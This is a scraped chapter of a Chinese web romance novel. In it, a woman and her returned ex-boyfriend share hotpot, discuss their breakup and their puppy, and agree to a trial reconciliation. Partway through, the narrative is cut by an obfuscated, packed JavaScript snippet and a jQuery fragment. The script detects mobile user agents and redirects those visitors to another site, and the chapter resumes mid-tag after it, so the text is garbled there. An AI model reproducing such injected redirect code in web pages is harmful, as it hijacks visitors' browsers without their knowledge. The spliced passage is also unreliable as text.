19. 第 19 章

作品:《偏我来时不逢春包月

    【欢欢妈。】


    手机屏幕上弹出一条聊天消息没说贺知春发来的。


    【嗯?突然被这样叫还有点不习惯哈哈哈!】


    【开心吗?终于有狗了。】


    【开心。】


    【那看在今天心情好的份上,可以邀请你明天和我一起共进晚餐吗?】


    【去哪儿?】


    林晓玥心情好的时候总是格外宽容。


    【还去那家火锅吧,好久没吃过了。】


    【好,几点见?】


    【你下班后我去接你。】


    【离我公司不远,我走着过去就行。】


    只隔了一条街,林晓玥不愿意麻烦别人。


    【不行,你怕热,我接你!】


    【明天阴天,晒不到。】


    【算我求你……】


    【好吧,那你别把车子停门口。】


    【为什么?难道还有别人追你?不行。】


    【要罚款的大哥。】


    这个人一天天都在想些什么?


    【没事,哥现在有钱了。】


    【罚我的……工资。】


    【哦,那我给你报销。】


    【你还是自己留着吧。】


    【嗯,留着娶你。】


    【……你有点放肆,退下吧。】


    【喳!】


    放下手机的林晓玥又拿起了桌上信纸,她想不通能写出这么文绉绉文字的,怎么也会说出那么油腻的话来。


    不过贺知春还算听劝,没有把车真的停在公司门口。


    林晓玥走出大门时只看他的人。


    “车停哪了?”


    贺知春面露尴尬:“早上上班路上撞了。”


    “严重吗?人受伤没?”


    “严重!”


    “让我看看!”


    林晓玥上下检查着贺知春,只有手上有一块擦伤。


    “难道是内伤?”


    “对,耽误我在心上人面前装B,很伤心。”


    “去你的,吓我一跳。人没事就好。”


    “人有事呢。”


    贺知春伸出那只受伤的手,“疼。”


    “啧,是有点严重哈,再晚来一会儿伤口就愈合了。得多吃点肉补补,走吧。”


    “对不起。”


    “什么?”


    “本来说好接你的。”


    “你现在已经接到啦。”


    “哦……”


    “你这心态脆弱的,我有点怀疑你在国外那两年是怎么生存的。”


    “没有,我在外面很独立的。”


    “那你这手……”


    好吧,苦肉计,林晓玥不想追究了,因为已经到了。


    “又来啦?”


    老板娘的记忆里也太好了,她认出了前几天刚来过店里的林晓玥。


    “是啊,和之前一样,一斤半的羊腿肉,一份蔬菜拼盘。”


    点完菜后贺知春一言不发,像个被霜打了的茄子。


    “怎么了?”


    “你之前和谁一起来这里吃过?”


    “和江远尧啊。”


    “唉……”


    “叹什么气啊,和相亲对象一起吃饭不正常吗?”


    “可这是我们第一次约会的地方。”


    “你还记得?”


    “怎么可能忘?怎么敢忘。”


    贺知春单手托腮,如果视线有温度,此刻林晓玥的脸怕是要被烧穿了。


    “有事就说,你盯得我有点发毛。”


    “没事……就是很久没有这么认真地看过你了。感觉和以前一样,没有变化。”


    “怎么可能没有变化,我的白头发都多了好几根,毕竟三十的人了。”


    “是啊,都怪我。”


    “莫名其妙往自己身上揽什么呢?”


    “都怪我没有好好照顾你。”


    “和你没关系,是我自己老了而已。况且,我已经不恨你了。”


    “你还是恨吧。”


    “阁下是有什么受虐体质?”


    “你那次不是说不喜欢了所以也就谈不上讨厌,但我希望你面对我的时候还是会有情绪波动,哪怕是恨我呢。”


    “你误会了,我已经和这个世界和解了,对谁都一样,都是这种的淡淡的态度,这样挺好的,不以物喜,不以己悲。”


    “不好,一点也不好。活得像个圣人,无喜无悲,会不快乐,这点我清楚。”


    “但是也不会烦恼。”


    “烦恼我来解决,但你要快乐。”


    “怎么解决?人长大了就会变成这样。”


    听起来有些道理,但总是感觉有哪里不对劲。


    “打扰了,给你们上一下锅。开锅后十五分钟就可以吃了。”


    老板娘亲自把锅端上来,倒进羊腿肉和其他佐料。


    “这小伙子瞧着也眼熟,以前是不是也来过我店里?”


    “是啊,以前来过,她爱吃你们家的肉。”


    老板娘的目光在两人之间巡梭了几番后恍然大悟:“哦,我想起来了,你们一起来过!”


    “老板娘你记性真好,这都记得!”


    “也不是都记得,店里天天这么多生面孔人来人往的,也就是当时我刚嫁到这里来,所以对你们的印象比较深刻。”


    “这两者之间有什么联系吗?”


    “第一次看到有女生亲手为男朋友剥虾的,我家那口子把你当成榜样非让我学习,让我给他一顿好揍!”


    “哈哈,老板娘你们想多了,我当时只是想展示一下自己剥虾的独门绝技,你不要有压力。”


    老板娘笑着摇摇头道:“你当时那眼神我可太熟悉了,人只有在看向喜欢的人的时候,才会有那样的眼神。要珍惜缘分哦!”


    老板娘说完便又去下一桌了。


    “要珍惜缘分哦~”


    贺知春模仿着老板娘的语气又重复了一遍。


    “我挺珍惜的。”


    干冰滚滚涌出,在二人之间划出了一条长河。


    林晓玥伸手抓了一把,散了。


    “我扪心自问,做到了问心无愧,你看,还是散了,握都握不住。”


    “没有散,是暂别。你看,我又回来找你了,我们还是有缘分的。”


    贺知春握住林晓玥捏成拳头的手,轻轻松开她的手指,不断摩挲着。


    贺知春的掌心温暖而干燥,和林晓玥被店里空调吹得冰凉的手形成了鲜明的对比。


    “我知道,这两年来你对我的怨气很重,怪我为了自由为了前途放弃了你,对不起,当时是我不成熟,没苦硬吃,能力不够,觉得感情和学业不能兼得,对我们之间的感情没有信心。我这两年里每天都在想你,每天都在后悔。”


    “后悔什么?你不是从来不做让自己后悔的事吗?”


    林晓玥尽量让自己的声音听起来平稳一些。


    “后悔错过了你两年的时光,人生在世不过几十载,我就因为自己的任性浪费了两年可以和你在一起的时间,整整两年。”


    不知道林晓玥是怎么走出来的,但绝不会比自己好过,毕竟自己是那个“负心汉”。


    “我不想提以前了,所有的联系方式和聊天记录当时都删干净了,相关的记忆时间太长我也记不清了,现在的你对于我来说不过是个认识了很久的故人,现在这样坐下来叙叙旧,算了别叙旧了,聊聊天,挺好的。”


    “欢欢妈。”


    贺知春往林晓玥碗里夹了一块肉,“我是真的后悔了,给我一个弥补你的机会,欢欢还那么小,它可不能没有爸爸啊!缺少父爱的小狗狗很可怜的。”


    一瞬间林晓玥真的有些心软了,不过她还是习惯性地拒绝道:“为母则刚,我一个人也可以把它带大的。”


    “不,子非狗安知狗不想要爹焉?”


    神逻辑,林晓玥一时竟无语凝噎。


    “我给出的理由是不是无懈可击?别再拒绝我了,多吃点,家里还有个嗷嗷待哺的娃呢。”


    贺知春说着,从火锅里夹出了一只通红滚烫的大虾。


    “呼~呼~”


    贺知春用四根手指捏着剥开了虾壳,把剥好的虾仁递到了林晓玥的碗里。


    “看我干什么?趁热吃啊!”


    “你不是不会剥虾吗?这是跟谁学的?”


    林晓玥盯着碗里完整的大虾仁心想,前人栽树那我就吃了这棵树!不吃白不吃!


    “自学的。”


    ???


    “是我之前太过于有恃无恐了,还不知道剥个虾这么烫手呢。”


    “不会晾凉了?”


    “想趁热给你,怕慢了来不及。”


    贺知春的感情是后知后觉的,失去林晓玥后的某一天他才意识到,那种生怕来不及的恐慌,于是他加紧完成实验,毕业回国。


    还好,命运眷顾了他,愿意给他一个弥补的机会。


    “嗯,好吃。”


    命运说好吃。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993351|193833||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“那我再给你剥一只。”


    “放凉再剥,真当自己练过铁砂掌呢?”


    “好嘞。”


    “进来吧,不用换鞋。”


    “我知道,又不是第一次来。”


    贺知春第二次进到林晓玥的家里,丝毫没有把自己当成客人,径直朝沙发旁的白色箱子走去。


    听到有人进屋,箱子里传来两声叫声,接着一个白色的毛茸茸的脑袋就出现在箱子上方,两只爪子搭着边缘。


    “你娃饿了!”


    林晓玥在卫生间,贺知春自顾自蹲下,狗粮就在箱子旁边,是他放在箱子里一起带过来的,他往小碗里添了半碗。


    “慢点吃慢点吃。”


    贺知春伸手揉着毛孩子的脑袋,小狗瞒着干饭也没空和他计较。


    贺知春嘴上也没闲着:“欢欢啊,你记住,我才是你嫡亲的爹,要是有其他陌生男人来,你就给我咬他,狠狠地咬,不用留情!”


    “你俩在那里嘀嘀咕咕什么呢?”


    林晓玥走出来就看到这一幕。


    欢欢:我可一句话都没说。


    小狗斜着眼看向贺知春,示意林晓玥它的无辜的。


    “没说什么,跟我儿子随便聊聊天。”


    “怎么就成你儿子了?”


    贺知春双手支着膝盖站起来:“也是,虎父无犬子,这不是我的狗儿子,这是我的虎儿子。”


    欢欢内心:你才虎,你全家都虎。


    “别瞎叫,小狗狗可听不得这些。”


    林晓玥上前抱起小狗,“我考虑了一下。”


    “嗯?”


    “你说得对,人生苦短,所以我决定给自己一个机会。”


    “不是,不是应该给我一个重新追你的机会吗?”


    林晓玥揉着毛茸茸的脑袋:“是给我一个重启人生的机会,我也不知道我会不会做得更好。”


    “你只管做你自己,然后考察我,对了,要定一个考察期吗?我什么时候可以转正?”


    “嗯……三个月吧,如果到时候我的心态还是没有调整过来,那我们之间的缘分大概就到此为止了。”


    “不行不行,我努努力,没准还能提前转正。”


    “你有什么办法吗?”


    贺知春背着手在客厅里溜达了一圈,没有思路,又去厨房转了一圈,依旧没有思路。


    “咋的?串门呢?还差卫生间和卧室,你要不找找灵感?”


    贺知春抬脚走进了林晓玥的卧室,这是他第一次看到女孩子的房间,简洁,柔软,空气中弥漫着若有似无的香甜味道。


    林晓玥为数不多的烧钱爱好,就是喜欢收集各种花果香的香水。


    床下有一个上了锁的木头匣子,已经落满了灰。


    “这是什么?私房钱?”


    就这么明目张胆放在这?


    “这个嘛,很明显啊,尘封的回忆。”


    “有钥匙吗?”


    “你确定要看?”


    “可以吗?”


    “那只给你五分钟。”


    林晓玥从床头柜的台灯上摘下一枚复古的小钥匙,咔哒一声,铜锁应声而开。


    贺知春打开匣子,里面是一叠整整齐齐的信纸。


    从中随便抽了一张,上面的内容好像是林晓玥的日记。


    【今天看到了一棵像鸳鸯火锅一样的输,一半叶子绿油油的,另一半像火一样红,很想分享给你,却发现我那早已经没有了任何联系。


    我还是有点想你,不过还好,已经能克服了,那些睡不着的日子都过去了。】


    “怎么不看了?时间还没到。”


    林晓玥看到贺知春只匆匆又翻了两张信纸,重新把那匣子锁了起来,背对着她低着头。


    “不看了。”


    瓮瓮的声音让林晓玥的心情莫名舒畅,世界上没有真正的感同身受,但复线个三五成的痛苦也是好的。


    林晓玥不是完人,怎么可能会一切过往不究。


    她的嘴角带着淡淡的笑意:“不看了还在那蹲着干嘛?快出来。”


    “稍等。”


    “出来给你看个好东西。”


    “什么?”


    林晓玥倚在卧室门口,从背后掏出两张门票,是隔壁T市有名是古镇。


    “公司的七夕福利,两张呢,你说我和谁去比较好呢?”


    贺知春一把夺过那两张门票高举在头顶:“必须和我,我先替你收着,到时来接你!”